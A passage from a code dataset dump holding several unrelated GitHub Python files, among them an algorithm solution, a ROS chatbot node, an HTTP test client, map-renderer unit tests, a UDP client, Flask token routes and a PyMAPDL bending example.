array[row][depth]\n\n return rotated_array\n\ndef move_array(rows, cols):\n last = [[0 for _ in range(cols//2)] for _ in range(rows//2)]\n\n # 4번 그룹 저장\n for row in range(rows//2, rows):\n for col in range(cols//2):\n last[row-rows//2][col] = array[row][col]\n \n # 3 -> 4\n for row in range(rows//2, rows):\n for col in range(cols//2):\n array[row][col] = array[row][col+cols//2]\n\n # 2 -> 3\n for row in range(rows//2, rows):\n for col in range(cols//2, cols):\n array[row][col] = array[row-rows//2][col]\n\n # 1 -> 2\n for row in range(rows//2):\n for col in range(cols//2, cols):\n array[row][col] = array[row][col-cols//2]\n\n # 4 -> 1\n for row in range(rows//2):\n for col in range(cols//2):\n array[row][col] = last[row][col]\n\nrows, cols, op_count = map(int, input().split())\narray = [list(map(int, input().split())) for _ in range(rows)]\nops = list(map(int, input().split()))\n\nfor op in ops:\n if op == 1:\n # 상하 반전\n reverse_row(rows, cols)\n elif op == 2:\n # 좌우 반전\n reverse_col(rows, cols)\n elif op == 3:\n # → 90도 회전\n array = rotate_array(rows, cols)\n rows, cols = cols, rows\n elif op == 4:\n # 4: ← 90도 회전\n for _ in range(3):\n array = rotate_array(rows, cols)\n rows, cols = cols, rows\n elif op == 5:\n move_array(rows, cols)\n else: \n for _ in range(3):\n move_array(rows, cols)\n\nfor row in range(rows):\n for col in range(cols):\n print(array[row][col], end=' ')\n print()","repo_name":"BangDori/python-algorithm","sub_path":"baekjoon/16935.py","file_name":"16935.py","file_ext":"py","file_size_in_byte":2905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30344245097","text":"#!/usr/bin/python3\n\nimport rclpy\nfrom rclpy.service import Service\nfrom rclpy.action import ActionClient\nfrom rclpy.node import Node\n\n#from ament_index_python.packages import get_package_share_directory\n\nfrom std_msgs.msg import String\nfrom chatbot_speech_recognizer_interface.srv import Speechrec\nfrom tts_messages.srv import StringToWav\nfrom chatterbot import ChatBot\nimport logging\n#from chatterbot.trainers import ChatterBotCorpusTrainer\n\n#from preprocessors import preprocess_text\n#from preprocessors import clean_whitespace\n#from spacyadapter import SpacyBestMatch\nfrom chatbot.language_detector import detect_language\nfrom chatbot.translate_text import translate_to_english\nfrom chatbot.translate_text import translate_to_finnish\nfrom chatbot.best_match_adapter import BestMatchAdapter\n\n#from trainers import ChatterBotTXTTrainer\n#from trainers import SQuADJSONTrainer\n#from trainers import MSMARCOJSONTrainer\n#from trainers import ChatterBotJSONTrainer\n#from trainers import ChatterBotCorpusTrainer\n\nlogging.basicConfig(level=logging.INFO)\n\n\nclass ChatBotClientNode(Node):\n\n def __init__(self):\n super().__init__('chatbot_node')\n self.publisher_ = self.create_publisher(String, 'chatbot_response', 10)\n self.subscription = self.create_subscription(String, 'recognized_speech', self.tts_callback, 10)\n self.chatbot = ChatBot(\"Helper\", read_only=True, storage_adapter='chatterbot.storage.SQLStorageAdapter',\n logic_adapters=[\n {\n #'import_path': '__main__.BestMatchAdapter',\n 'import_path': 'chatbot.best_match_adapter.BestMatchAdapter',\n 'default_response': 'I am sorry, but I do not understand.',\n 'maximum_similarity_threshold': 0.90,\n 'statement_comparison_function': 'chatterbot.comparisons.LevenshteinDistance',\n #'response_selection_method': 'chatterbot.response_selection.get_most_frequent_response'\n },\n {\n 'import_path': 'chatterbot.logic.MathematicalEvaluation',\n }\n ]\n )\n\n def tts_callback(self, msg):\n data = self.chatbot_worker_callback(msg.data)\n if (data != \"I am sorry, but I do not understand.\"):\n tts_msg = String()\n tts_msg.data = data\n self.publisher_.publish(tts_msg)\n\n\n\n def chatbot_worker_callback(self, recognized_speech):\n # Get response for the original input\n original_response = self.chatbot.get_response(recognized_speech)\n original_confidence = original_response.confidence\n\n # Translate input to English\n translated_input = translate_to_english.translate(recognized_speech)\n #preprocessed_translated_input = preprocess_text(translated_input)\n # Get response for the translated input\n translated_response = self.chatbot.get_response(translated_input)\n translated_confidence = translated_response.confidence\n\n # Compare confidence levels and choose the higher one\n # Balance the translater confidence by lowering it\n balance_variable = 0.1\n if (translated_confidence - balance_variable) > original_confidence:\n # Translate the English response back to the input language\n final_response_text = translate_to_finnish.translate(translated_response.text)\n else:\n final_response_text = original_response.text\n\n print(\"Bot: \", final_response_text)\n return(final_response_text)\n\n def chatbot_train(self):\n pass\n # train with self-written data\n # trainer = ChatterBotCorpusTrainer(chatbot)\n #\n # trainer.train(\n # \"/workspace/src/chatbot/chatbot/trainingdata\"\n # )\n #\n #\n # # train with ambignq data\n # trainer = ChatterBotJSONTrainer(chatbot)\n #\n # trainer.train(\n # \"/workspace/src/chatbot/chatbot/ambignq/train.json\", input_language=\"en\"\n # )\n #\n #\n # # train with qa dataset\n # trainer = ChatterBotTXTTrainer(chatbot)\n # trainer.train(\n # \"/workspace/src/chatbot/chatbot/Question_Answer_Dataset_v1.2/S08/question_answer_pairs.txt\", input_language=\"en\"\n # )\n # trainer.train(\n # \"/workspace/src/chatbot/chatbot/Question_Answer_Dataset_v1.2/S09/question_answer_pairs.txt\", input_language=\"en\"\n # )\n # trainer.train(\n # \"/workspace/src/chatbot/chatbot/Question_Answer_Dataset_v1.2/S10/question_answer_pairs.txt\", input_language=\"en\"\n # )\n #\n # # train with stanford training data\n # trainer = SQuADJSONTrainer(chatbot)\n # trainer.train(\n # \"/workspace/src/chatbot/chatbot/train_stanford/train-v2.0.json\", input_language=\"en\"\n # )\n\n \ndef main(args=None):\n rclpy.init(args=args)\n client = ChatBotClientNode()\n rclpy.spin(client)\n rclpy.shutdown()\n\n #response = client.send_request()\n #if (response.success):\n # client.get_logger().info(response.recognized_speech)\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ouspg/SOP-Robot","sub_path":"src/chatbot/chatbot/chatbot.py","file_name":"chatbot.py","file_ext":"py","file_size_in_byte":5446,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"27301365342","text":"import requests\nfrom assertpy import assert_that\n\n\n\nclass Client(object):\n \"\"\"Client(url, method, datatype=None)\"\"\"\n\n def __init__(self, url, method, datatype=None):\n self.__url = url\n self.__method = method\n self.__datatype = datatype\n self.__headers = {}\n self.__data = {}\n self.__res = None\n\n def add_header(self, key, value):\n \"\"\"添加头信息\"\"\"\n self.__headers[key] = value\n\n def set_data(self, data):\n \"\"\"添加接口参数\"\"\"\n self.__data = data\n\n def send(self):\n \"\"\"根据发送数据方式,发送数据\"\"\"\n\n # 发送GET请求\n if self.__method == \"GET\":\n self.__res = requests.get(url=self.__url, params=self.__data)\n # 发送POST请求\n elif self.__method == \"POST\":\n # 发送普通form-data\n if self.__datatype == 0:\n self.__res = requests.post(url=self.__url, data=self.__data)\n # 发送x-www-url-form-url-encoded数据\n elif self.__datatype == 1:\n self.add_header(\"Content-Type\", \"application/x-www-form-urlencoded\")\n self.__res = requests.post(url=self.__url, data=self.__data, headers=self.__headers)\n # 发送json数据\n elif self.__datatype == 2:\n self.add_header(\"Content-Type\", \"application/json\")\n self.__res = requests.post(url=self.__url, json=self.__data, headers=self.__headers)\n # 发送xml格式数据\n elif self.__datatype == 3:\n xml = self.__data[\"xml\"]\n if xml:\n self.add_header(\"Content-Type\", \"text/xml\")\n requests.post(url=self.__url, data=self.__data, headers=self.__headers)\n else:\n raise Exception('xml数据传输错误,请按照{\"xml\":\"xxxx\"}方式进行传输')\n else:\n raise Exception(\"请求类型不合法\")\n else:\n raise Exception(\"不支持的请求方法类型\")\n\n @property\n def res_text(self):\n \"\"\"返回响应正文字符串\"\"\"\n if self.__res:\n return self.__res.text\n else:\n return None\n\n @property\n def res_status_code(self):\n \"\"\"返回响应状态码\"\"\"\n if self.__res:\n return self.__res.status_code\n else:\n return None\n\n @property\n def res_json(self):\n \"\"\"返回响应json对象\"\"\"\n if self.__res:\n try:\n return self.__res.json()\n except Exception:\n print(\"json数据转换失败\")\n return None\n else:\n return None\n\n @property\n def res_time(self):\n \"\"\"返回响应时间毫秒值\"\"\"\n if self.__res:\n return int(round(self.__res.elapsed.total_seconds()))\n else:\n return None\n\n @property\n def res_headers(self):\n if self.__res:\n return self.__res.headers\n else:\n return None\n\n def check_status_code(self, expect):\n \"\"\"check_status_code(expect),校验响应状态码\"\"\"\n try:\n assert_that(self.res_status_code).is_equal_to(expect)\n print(\"状态码校验成功\")\n except AssertionError:\n print(\"状态码校验失败:实际状态码[{actual}],预期状态码[{expect}]\".format(actual=self.res_status_code, expect=expect))\n\n def check_res_time_less(self, expect_time):\n \"\"\"check_res_time_less(self, expect_time),校验响应时间\"\"\"\n try:\n assert_that(self.res_time).is_less_than(expect_time)\n print(\"响应时间校验成功\")\n except AssertionError:\n print(\"响应时间校验失败:实际响应时间[{actual}],预期响应时间[{expect}]\".format(actual=self.res_time), expect=expect_time)\n\n def check_data_equal(self, actual, expect):\n \"\"\"check_data_equal(self,actual,expect),校验响应内容\"\"\"\n try:\n assert_that(actual).is_equal_to(expect)\n print(\"响应内容校验成功\")\n except AssertionError:\n print(\"响应内容校验失败:实际响应内容[{actual}],预期响应内容[{expect}]\".format(actual=actual, expect=expect))\n\n def check_contains(self, expect):\n \"\"\"check_contains(self, expect),校验响应正文是否包含内容\"\"\"\n try:\n assert_that(self.res_text).contains(expect)\n print(\"响应内容包含校验成功\")\n except AssertionError:\n print(\"响应内容包含校验失败:实际响应内容[{actual}],预期包含内容[{expect}]\".format(actual=self.res_text), expect=expect)\n\n\nclass Method(object):\n GET = \"GET\"\n POST = \"POST\"\n\n\nclass Type(object):\n FORM = 0\n URL_ENCODED = 1\n JSON = 2\n XML = 3\n FILE = 4\n","repo_name":"ivyfangqian/requests_demo","sub_path":"hit_asserpy.py","file_name":"hit_asserpy.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"70933517605","text":"import os\nimport unittest\nimport tempdir\nimport numpy\nfrom paste.deploy import appconfig\nfrom wand.image import Image\nfrom static_map_generator.renderer import Renderer, WmsRenderer, LogoRenderer, WktRenderer, TextRenderer, \\\n GeojsonRenderer, ScaleRenderer, LegendRenderer, DefaultRenderer\n\nTEST_DIR = os.path.dirname(__file__)\nsettings = appconfig(\n 'config:' + os.path.join(TEST_DIR, 'test.ini'),\n name='static_map_generator'\n)\n\nclass UtilsTests(unittest.TestCase):\n\n def setUp(self):\n self.tempdir = tempdir.TempDir()\n self.here = os.path.abspath(os.path.dirname(__file__))\n self.file_path = os.path.join(self.tempdir.name, 'file.png')\n\n def tearDown(self):\n pass\n\n def test_wms_renderer(self):\n renderer = Renderer.factory(\"wms\")\n self.assertIsInstance(renderer, WmsRenderer)\n self.assertEquals(renderer.type(), \"wms\")\n\n def test_wms_renderer_errors(self):\n renderer = Renderer.factory(\"wms\")\n\n with self.assertRaises(Exception) as context:\n renderer.render(\n **{\n 'type': 'wms',\n 'url': 'http://non_existant/geoserver/wms?',\n 'layers': 'vioe_geoportaal:onbestaande_laag',\n 'filename': 'filename',\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 500,\n 'height': 500,\n 'bbox': [145000, 195000, 165000, 215000]\n }\n )\n self.assertTrue(context.exception.args[0].startswith('Request could not be executed'))\n\n with self.assertRaises(Exception) as context:\n renderer.render(\n **{\n 'type': 'wms',\n 'url': 'https://geo.onroerenderfgoed.be/geoserver/wee_em_es?',\n 'layers': 'vioe_geoportaal:onbestaande_laag',\n 'filename': 'filename',\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 500,\n 'height': 500,\n 'bbox': [145000, 195000, 165000, 215000]\n }\n )\n self.assertTrue(context.exception.args[0].startswith('Service not found (status_code 404)'))\n\n with self.assertRaises(Exception) as context:\n renderer.render(\n **{\n 'type': 'wms',\n 'url': 'https://geo.onroerenderfgoed.be/geoserver/wms?',\n 'layers': 'vioe_geoportaal:onbestaande_laag',\n 'filename': 'filename',\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 500,\n 'height': 500,\n 'bbox': [145000, 195000, 165000, 215000]\n }\n )\n self.assertTrue(context.exception.args[0].startswith('Exception occured'))\n\n def test_text_renderer(self):\n renderer = Renderer.factory(\"text\")\n self.assertIsInstance(renderer, TextRenderer)\n self.assertEquals(renderer.type(), \"text\")\n\n def test_wkt_renderer(self):\n renderer = Renderer.factory(\"wkt\")\n self.assertIsInstance(renderer, WktRenderer)\n self.assertEquals(renderer.type(), \"wkt\")\n\n def test_logo_renderer(self):\n renderer = Renderer.factory(\"logo\")\n self.assertIsInstance(renderer, LogoRenderer)\n self.assertEquals(renderer.type(), \"logo\")\n\n def test_logo_renderer_render(self):\n renderer = Renderer.factory(\"logo\")\n renderer.render(\n **{\n 'type': 'logo',\n 'url': 'https://www.onroerenderfgoed.be/assets/img/logo-og.png',\n 'opacity': 0.5,\n 'imagewidth': 100,\n 'imageheight': 100,\n 'gravity': 'south_west',\n 'filename': self.file_path,\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 500,\n 'height': 500,\n 'bbox': [145000, 195000, 165000, 215000],\n 'offset': '0,0'\n }\n )\n self.assertTrue(os.path.isfile(self.file_path))\n image = Image(filename=self.file_path)\n self.assertIsInstance(image, Image)\n\n def test_geojson_renderer(self):\n renderer = Renderer.factory(\"geojson\")\n self.assertIsInstance(renderer, GeojsonRenderer)\n self.assertEquals(renderer.type(), \"geojson\")\n\n def test_multipoint_renderer_render(self):\n renderer = Renderer.factory(\"wkt\")\n renderer.render(\n **{\n 'type': 'wkt',\n 'opacity': 0.5,\n 'filename': self.file_path,\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 500,\n 'height': 500,\n 'color': '#0000ff',\n 'wkt': 'MULTIPOINT ((103500 192390.11), (103912.03 192390.11))',\n 'bbox': [100000, 100000, 200000, 200000]\n }\n )\n self.assertTrue(os.path.isfile(self.file_path))\n image = Image(filename=self.file_path)\n self.assertIsInstance(image, Image)\n\n def test_multipoint2_renderer_render(self):\n renderer = Renderer.factory(\"wkt\")\n renderer.render(\n **{\n 'type': 'wkt',\n 'opacity': 0.5,\n 'filename': self.file_path,\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 500,\n 'height': 500,\n 'color': '#0000ff',\n 'wkt': 'MULTIPOINT (103500 192390.11, 103912.03 192390.11)',\n 'bbox': [100000, 100000, 200000, 200000]\n }\n )\n self.assertTrue(os.path.isfile(self.file_path))\n image = Image(filename=self.file_path)\n self.assertIsInstance(image, Image)\n\n def test_geojson_renderer_render(self):\n renderer = Renderer.factory(\"geojson\")\n renderer.render(\n **{\n 'type': 'geojson',\n 'opacity': 0.5,\n 'filename': self.file_path,\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 500,\n 'height': 500,\n 'color': 'steelblue',\n 'geojson':{\n \"type\":\"MultiPolygon\",\n \"coordinates\":[[[[103827.44321801752,192484.5100535322],[103826.65621839411,192565.57026445214],[103839.2000972359,192622.4958831761],[103877.27257229008,192673.1911981115],[103981.90807816133,192592.71585010737],[104050.62835409257,192535.07265175506],[104119.78606355426,192526.95860514138],[104157.5529127745,192543.1371434061],[104163.33481632298,192516.068607972],[104043.86794770884,192451.07658289373],[103839.39232099024,192304.2814310426],[103825.49962980268,192434.99411542248],[103827.44321801752,192484.5100535322]]]],\n \"crs\":{\n \"type\":\"name\",\n \"properties\":{\n \"name\":\"urn:ogc:def:crs:EPSG::31370\"}}},\n 'bbox': [100000, 100000, 200000, 200000]\n }\n )\n self.assertTrue(os.path.isfile(self.file_path))\n image = Image(filename=self.file_path)\n self.assertIsInstance(image, Image)\n\n def test_geojson_renderer_render2(self):\n renderer = Renderer.factory(\"geojson\")\n renderer.render(\n **{\n 'type': 'geojson',\n 'opacity': 0.5,\n 'filename': self.file_path,\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 500,\n 'height': 500,\n 'color': 'steelblue',\n 'geojson':{'crs': {'type': 'name', 'properties': {'name': 'EPSG:31370'}}, 'type': 'MultiPoint', 'coordinates': [[103912.03, 192390.11],[103500, 192390.11]]},\n 'bbox': [100000, 100000, 200000, 200000]\n }\n )\n self.assertTrue(os.path.isfile(self.file_path))\n image = Image(filename=self.file_path)\n self.assertIsInstance(image, Image)\n\n def test_scale_renderer(self):\n renderer = Renderer.factory(\"scale\")\n renderer.render(\n **{\n 'type': 'scale',\n 'gravity': 'south_west',\n 'offset':'10,20',\n 'opacity': 1,\n 'filename': self.file_path,\n 'epsg': 31370,\n 'filetype': 'png',\n 'width': 750,\n 'height': 750,\n 'bbox': [100000, 100000, 200000, 200000],\n 'font_size': 11,\n 'imagewidth': 200,\n 'imageheight': 50\n })\n self.assertIsInstance(renderer, ScaleRenderer)\n self.assertEquals(renderer.type(), \"scale\")\n self.assertTrue(os.path.isfile(self.file_path))\n image = Image(filename=self.file_path)\n self.assertIsInstance(image, Image)\n\n def test_legend_renderer(self):\n renderer = Renderer.factory(\"legend\")\n self.assertIsInstance(renderer, LegendRenderer)\n self.assertEquals(renderer.type(), \"legend\")\n self.assertRaises(NotImplementedError, renderer.render)\n\n\n def test_default_renderer(self):\n renderer = Renderer.factory(\"\")\n self.assertIsInstance(renderer, DefaultRenderer)\n self.assertEquals(renderer.type(), \"default\")\n self.assertRaises(NotImplementedError, renderer.render)","repo_name":"cedrikv/static_map_generator","sub_path":"tests/test_renderer.py","file_name":"test_renderer.py","file_ext":"py","file_size_in_byte":9108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"13081387899","text":"from socket import *\r\nfrom datetime import datetime\r\n\r\n# sends the message\r\n# - wait up to one second for a reply\r\n# - - resend if timeout\r\n# - resend on error\r\n# print what happens on each attempt to std_out\r\ndef send_message(socket, message, server):\r\n time_start = datetime.now()\r\n try:\r\n # this blocks until success, throws timeout on error\r\n socket.sendto(message.encode(), server)\r\n # get the response\r\n response, server_address = socket.recvfrom(2048)\r\n response = response.decode()\r\n if response == 'Incorrect sum':\r\n print('Server Error, ' + \\\r\n 'RTT = ' + str(datetime.now() - time_start))\r\n send_message(socket, message, server) # try again\r\n else:\r\n print('Result = ' + str(response) + ' '\\\r\n 'RTT = ' + str(datetime.now() - time_start))\r\n return(response)\r\n except timeout:\r\n print('Request timed out')\r\n send_message(socket, message, server) # try again\r\n\r\n\r\n# init UDP object to send\r\nclient_socket = socket(AF_INET, SOCK_DGRAM)\r\n\r\n# init servername, port, numbers from user\r\nserver_name = input('Input server name: ')\r\nserver_port = input('Input server port: ')\r\nnum_a = input('Input first number to multiply: ')\r\nnum_b = input('Input second number to multiply: ')\r\n\r\nmessage = 'Multiply ' \\\r\n + str(num_a) + ' ' + str(num_b) + ' ' + str(num_a+num_b) + ' ' \\\r\n + str(datetime.now())\r\n\r\nclient_socket.settimeout(1.0)\r\n\r\nsend_message(client_socket, message, (server_name, int(server_port)))\r\n\r\n\r\nclient_socket.close()\r\n","repo_name":"will-jac/CS5473-PDN","sub_path":"HW1/UDP_Multiplier_Client.py","file_name":"UDP_Multiplier_Client.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"31612362115","text":"# -*- coding: utf-8 -*-\n\ndef operacion_record_to_dict(record):\n operacion = dict()\n operacion['id'] = record['id_operacion']\n operacion['precio'] = record['precio']\n operacion['vendedor'] = record['publicada_por']\n operacion['comprador'] = record['id_comprador']\n operacion['comision'] = record['comision']\n operacion['valoracion_comprador'] = {\n 'id_valoracion' : record['valoracion_comprador_id_valoracion'],\n 'puntaje' : record['valoracion_comprador_puntaje'],\n 'comentario' : record['valoracion_comprador_comentario'],\n 'respuesta' : record['valoracion_comprador_respuesta'],\n }\n operacion['valoracion_vendedor'] = {\n 'id_valoracion' : record['valoracion_vendedor_id_valoracion'],\n 'puntaje' : record['valoracion_vendedor_puntaje'],\n 'comentario' : record['valoracion_vendedor_comentario'],\n 'respuesta' : record['valoracion_vendedor_respuesta'],\n }\n operacion['publicacion'] = {\n 'id_publicacion': record['id_publicacion'],\n 'titulo': record['titulo'],\n 'descripcion': record['descripcion'],\n 'fecha': record['fecha'],\n 'id_tipo_publicacion': record['id_tipo_publicacion'],\n 'publicada_por': record['publicada_por'],\n 'tipo': record['tipo'],\n 'tipo_publicacion': record['tipo_publicacion'],\n }\n return operacion\n\ndef factura_record_to_dict(record):\n factura = dict()\n factura['usuario'] = record['id_usuario']\n factura['mes'] = record['mes']\n factura['monto_suscripciones'] = record['suscripciones']\n factura['monto_comisiones'] = record['comisiones']\n return factura\n","repo_name":"lbarrios/uba-dc-bd_2016-1c_tp2","sub_path":"converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5202547280","text":"\"\"\"\r\nExercício\r\nCrie uma função que encontra o primeiro duplicado considerando o segundo\r\nnúmero como a duplicação. Retorne a duplicação considerada.\r\nRequisitos:\r\n A ordem do número duplicado é considerada a partir da segunda\r\n ocorrência do número, ou seja, o número duplicado em si.\r\n Exemplo:\r\n [1, 2, 3, ->3<-, 2, 1] -> 1, 2 e 3 são duplicados (retorne 3)\r\n [1, 2, 3, 4, 5, 6] -> Retorne -1 (não tem duplicados)\r\n [1, 4, 9, 8, ->9<-, 4, 8] (retorne 9)\r\n Se não encontrar duplicados na lista, retorne -1\r\n\"\"\"\r\n\r\nlista_de_listas_de_inteiros = [\r\n [1, 2, 3, 4, 5, 6, 7, 8, 9, 10],\r\n [9, 1, 8, 9, 9, 7, 2, 1, 6, 8],\r\n [1, 3, 2, 2, 8, 6, 5, 9, 6, 7],\r\n [3, 8, 2, 8, 6, 7, 7, 3, 1, 9],\r\n [4, 8, 8, 8, 5, 1, 10, 3, 1, 7],\r\n [1, 3, 7, 2, 2, 1, 5, 1, 9, 9],\r\n [10, 2, 2, 1, 3, 5, 10, 5, 10, 1],\r\n [1, 6, 1, 5, 1, 1, 1, 4, 7, 3],\r\n [1, 3, 7, 1, 10, 5, 9, 2, 5, 7],\r\n [4, 7, 6, 5, 2, 9, 2, 1, 2, 1],\r\n [5, 3, 1, 8, 5, 7, 1, 8, 8, 7],\r\n [10, 9, 8, 7, 6, 5, 4, 3, 2, 1],\r\n]\r\n\r\nn = 0\r\nnumbers = []\r\nfor indices in lista_de_listas_de_inteiros:\r\n lista = lista_de_listas_de_inteiros[n]\r\n n = n + 1\r\n print(lista)\r\n for i in lista:\r\n numbers.append(i)\r\n last = numbers[-1]\r\n if len(numbers) > 1:\r\n if last in repetidos:\r\n duplicado = numbers.pop()\r\n print(f'o primeiro número duplicado é', duplicado)\r\n repetidos.clear()\r\n numbers.clear()\r\n break\r\n if len(numbers) == 10:\r\n print(-1)\r\n repetidos.clear()\r\n numbers.clear()\r\n repetidos = set(numbers)\r\n\r\n# FAZENDO USANDO FUNÇÃO:\r\n\r\ndef encontra_primeiro_duplicado(lista_de_inteiros):\r\n n_checados = set()\r\n primeiro_duplicado = -1\r\n\r\n for numero in lista_de_inteiros:\r\n if numero in n_checados:\r\n primeiro_duplicado = numero\r\n break\r\n n_checados.add(numero)\r\n\r\n return primeiro_duplicado\r\n\r\nfor lista in lista_de_listas_de_inteiros:\r\n print(lista, encontra_primeiro_duplicado(lista)) #recebeu lista como argumento)\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"rafalimma/learningpython","sub_path":"aula85-exercicio.py","file_name":"aula85-exercicio.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"4156785570","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jan 13 00:08:23 2018\r\n\r\n@author: Kaushal\r\n\"\"\"\r\n\r\n#Scope Rules\r\n#Python searches for the object, layer by layer, moving from inner layers towards\r\n#outer layers, and it uses the first update function or the first x variable that it\r\n#finds.\r\n\r\n#Scope Rule\r\n#LEGB\r\n#Local\r\n#Enclosing function\r\n#Global\r\n#Built-in\r\n\r\n#In other words, local is the current function you are in.\r\n#Enclosing function is the function that called the current function, if any.\r\n#Global refers to the module in which the function was defined.\r\n#And Built-in refers to Python's buit-in namespace\r\n\r\n#We can manipulate global variables, variables defined in the global scope, from within\r\n#functions.\r\n\r\n\r\n\r\n#Mutability, Immutability and Scope Rules\r\ndef update(n,x):\r\n n = 2\r\n y = x\r\n y.append(2)\r\n print('update:', n, y)\r\n \r\ndef main():\r\n n = 1\r\n x = [0,1,2,3]\r\n print('main:', n, x)\r\n update(n,x)\r\n print('main:', n, x)\r\n \r\n \r\nmain()\r\n\r\n#An arguement is an object that is passed to a function as its input when the\r\n#function is called.\r\n#A parameter, in cotrast, is a variable that is used in the function defination\r\n#to refer to that arguement.\r\n\r\nsome_guy = 'Fred'\r\n\r\nfirst_names = []\r\nfirst_names.append(some_guy)\r\n\r\nprint(some_guy is first_names[0])\r\n\r\nanother_list_of_names = first_names\r\nanother_list_of_names.append('George')\r\nsome_guy = 'Bill'\r\n\r\n\r\nfirst_names = ['Fred', 'George', 'Bill']\r\nlast_names = ['Smith', 'Jones', 'Williams']\r\nname_tuple = (first_names, last_names)\r\n\r\nfirst_names.append('Igor')\r\n\r\nprint (some_guy, first_names, another_list_of_names)","repo_name":"KaushalTak/Python-for-Research","sub_path":"Scope Rules.py","file_name":"Scope Rules.py","file_ext":"py","file_size_in_byte":1626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74192280165","text":"from flask import jsonify\nfrom app import db, app\nfrom app.auth import basic_auth, token_auth\n\n\n@app.route('/api/tokens', methods=['POST'])\n@basic_auth.login_required\ndef get_token():\n data = basic_auth.current_user().get_token()\n db.session.commit()\n return jsonify(data)\n\n\n@app.route('/api/tokens', methods=['DELETE'])\n@token_auth.login_required\ndef revoke_token():\n token_auth.current_user().revoke_token()\n db.session.commit()\n return '', 204\n\n#curl -X GET -H \"Authorization: Bearer 18yra2aIeQVqmzKcDk0cD8bfmJILpm4n\" http://localhost:5000/api/users/30\n","repo_name":"kollie/wolomapp-backend","sub_path":"app/tokens.py","file_name":"tokens.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"37723520347","text":"#!/usr/bin/env python\n\nimport sys\nimport random\n\ntemplate = ''' {\n \"name\": \"powermule\",\n \"addr\": \"10.99.176.%d:7946\",\n \"port\": 7946,\n \"tags\": {\n \"role\": \"%s\"\n },\n \"status\": \"alive\",\n \"protocol\": {\n \"max\": 4,\n \"min\": 2,\n \"version\": 4\n }\n }%s\n'''\n\nprint('''{\n \"members\": [''')\nnlines = int(sys.argv[1])\nroles = ['ui', 'database', 'loadbalancer']\nfor i in range(nlines):\n\tprint(template % (i, random.choice(roles), '' if i == nlines - 1 else ','))\nprint(''']\n}''')\n","repo_name":"pinireznik/antitude","sub_path":"antitudeUI/make_members.py","file_name":"make_members.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30316790866","text":"r\"\"\".. _ref_vm18:\n\nOut-of-Plane Bending of a Curved Bar\n------------------------------------\nProblem description:\n - A portion of a horizontal circular ring, built-in at A, is loaded by a vertical (Z)\n load F applied at the end B. The ring has a solid circular cross-section of diameter d.\n Determine the deflection :math:`\\delta` at end B, the maximum bending\n stress :math:`\\sigma_{Bend}` , and the maximum torsional shear stress τ.\n\nReference:\n - S. Timoshenko, Strength of Materials, Part I, Elementary Theory and\n Problems, 3rd Edition, D. Van Nostrand Co., Inc., New York, NY, 1955,\n pg. 412, eq. 241.\n\nAnalysis type(s):\n - Static Analysis ``ANTYPE=0``\n\nElement type(s):\n - Elastic Curved Pipe Element (PIPE18)\n - 3-D 3 Node Pipe Element (PIPE289)\n\n.. figure:: ../_static/vm18_setup1.png\n :align: center\n :width: 400\n :alt: VM18 Curved Bar Problem Sketch\n\n.. figure:: ../_static/vm18_setup2.png\n :align: center\n :width: 400\n :alt: VM18 Curved Bar Finite Element Model\n\nMaterial properties:\n - :math:`E = 30 \\cdot 10^6 psi`\n - :math:`\\mu = 0.3`\n\nGeometric properties:\n - :math:`r = 100 in`\n - :math:`d = 2 in`\n - :math:`\\theta = 90°`\n\nLoading:\n - :math:`F = 50 lb`\n\nAnalysis Assumptions and Modeling Notes:\n - Node 10 is arbitrarily located on the radius of curvature side of the element to define the\n plane of the elbow when PIPE18 elements are used. The wall thickness is set to half the diameter\n for a solid bar. Since the section has no hole in the middle, ovalization cannot occur and\n PIPE289 elements can be used to determine the deflection and stresses.\n\n\"\"\"\n# sphinx_gallery_thumbnail_path = '_static/vm18_setup1.png'\n\n# Importing the `launch_mapdl` function from the `ansys.mapdl.core` module\nfrom ansys.mapdl.core import launch_mapdl\nimport numpy as np\nimport pandas as pd\n\n# Launch MAPDL with specified settings\nmapdl = launch_mapdl(loglevel=\"WARNING\", print_com=True, remove_temp_dir_on_exit=True)\n\n# Clear the existing database\nmapdl.clear()\n\n# Run the FINISH command to exists normally from a processor\nmapdl.finish()\n\n# Set the ANSYS version\nmapdl.com(\"ANSYS MEDIA REL. 2022R2 (05/13/2022) REF. VERIF. MANUAL: REL. 2022R2\")\n\n# Run the /VERIFY command\nmapdl.run(\"/VERIFY,VM18\")\n\n# Set the title of the analysis\nmapdl.title(\"VM18 OUT-OF-PLANE BENDING OF A CURVED BAR\")\n\n# Enter the model creation /Prep7 preprocessor\nmapdl.prep7()\n\n###############################################################################\n# Define element type and real properties\n# 